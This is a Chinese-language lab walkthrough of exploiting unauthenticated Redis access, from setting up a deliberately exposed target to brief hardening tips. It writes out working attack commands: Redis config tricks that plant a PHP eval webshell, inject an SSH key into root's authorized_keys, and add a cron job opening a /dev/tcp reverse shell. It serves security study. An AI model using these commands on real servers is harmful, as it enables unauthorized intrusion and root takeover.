原理
Redis未授权访问在4.x/5.0.5以前版本
下,我们可以使用master/slave模式
加载远程模块,通过动态链接库
的方式执行任意命令
。
Redis默认情况下,会绑定在0.0.0.0:6379
,如果没有进行采用相关的策略,比如没有添加防火墙规则避免其他非信任来源ip访问
等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)
的情况下,会导致任意用户
在可以访问目标服务器
的情况下未授权访问 Redis 以及读取 Redis 的数据
。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh
文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
搭建靶场
下载
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
解压
tar -zxvf redis-2.8.17.tar.gz
切换到redis-2.8.17目录下
cd redis-2.8.17
安装(make用于自动编译,自动决定程序某一部分需要重新编译,并发出编译指令)
make
测试,如果这一步执行成功,则表示redis可以正常运行(时间有点长)
make test
我的make test报错了
You need tcl 8.5 or newer in order to run the Redis test
然后执行下面命令就可以解决
wget http://downloads.sourceforge.net/tcl/tcl8.6.1-src.tar.gz
tar xzvf tcl8.6.1-src.tar.gz -C /usr/local/
cd /usr/local/tcl8.6.1/unix/
./configure
make
make install
然后回到redis目录中,执行make test
如果搭建完成之后,外部无法连接,需要修改配置文件redis.conf
注释掉绑定ip:bind 127.0.0.1或bind 0.0.0.0
因为Redis默认不是以守护进程方式运行,可以通过该配置项修改,使用yes启用守护进程,设置为yes ;daemonize yes
关闭保护模式,否则外部ip无法连接:protected-mode no(2.8.17版本不需要,3.2以后需要添加该设置)
开启6379端口
注意端口是否被占用
firewall-cmd --list-ports
firewall-cmd --zone=public --add-port=6379/tcp --permanent
firewall-cmd --reload
安装apache和php
安装apache
yum -y install httpd*
更改apache的配置文件
vi /etc/httpd/conf/httpd.conf
在配置文件中,添加如下内容
AddType application/x-httpd-php-source .phps
AddType application/x-httpd-php .php
然后转到
cd /var/www/html
vi info.php
编写如此php文件,测试apache与php能否一起使用
<?php phpinfo();?>
重启apache服务不能忘
systemctl restart httpd
物理机输入靶机ip,192.168.0.148:80/info.php
漏洞复现
反弹shell
因为是实验环境,靶机端口没有改,redis密码没有设置(设置的话,需要爆破)
首先在靶机上开启redis服务
我是靶机和攻击机用同一个服务器了
首先
redis_config开启bind 127.0.0.1
然后
./redis-server
./redis-cli
如果在别的服务端
./redis-cli -h ip地址 -p 端口号 -a 密码
认端口不需要,修改过的需要;如果靶机设置了密码,需要加上
开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录A,而dbfilename为文件名B,再执行save或bgsave,则我们就可以写入一个路径为/A/B的任意文件。)
config set dir /var/www/html
config set dbfilename demo.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
写入一句话木马
config set dbfilename demo1.php
set webshell "\r\n\r\n<?php @eval($_POST['shell']);?>\r\n\r\n"
save
然后用蚁剑连接
利用持久化,利用“公私钥”认证获取root权限
在攻击机(redis客户端)中生成ssh公钥和私钥,路径是/root/.ssh
密码设置为空:ssh-keygen -t rsa
公钥
id-rsa.pub
私钥
id_rsa
将公钥保存到1.txt中
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
将保存的公钥写入Redis
cat 1.txt | redis-cli -h ip地址 -x set crack
要确保攻击机和靶机都要有.ssh文件
然后登录redis数据库,将redis的工作路径设置为/roor/.ssh
config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys
save
此时在攻击机上使用ssh免密登录靶机,利用私钥成功登入redis服务器
定时任务反弹shell
首先开启监听
nc -lvp 8888
首先写入定时任务到redis
set d "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/127.0.0.1/8888 0>&1\n\n" — 设置反弹shell脚本,键名为d
config set dir /var/spool/cron — 更改redis的工作目录到/var/spool/cron,这个目录是以账号来区分每个用户自己的计划任务,root用户的计划任务,以root文件名保存。
config set dbfilename root — 设置文件名
save — 将键d中的内容保存到/var/spool/cron/root文件中去
加固建议
- 更新服务至最新版本,完成漏洞的修复
- 添加防火墙规则避免非信任ip访问
- 设置密码,不要太简单了
- 更改端口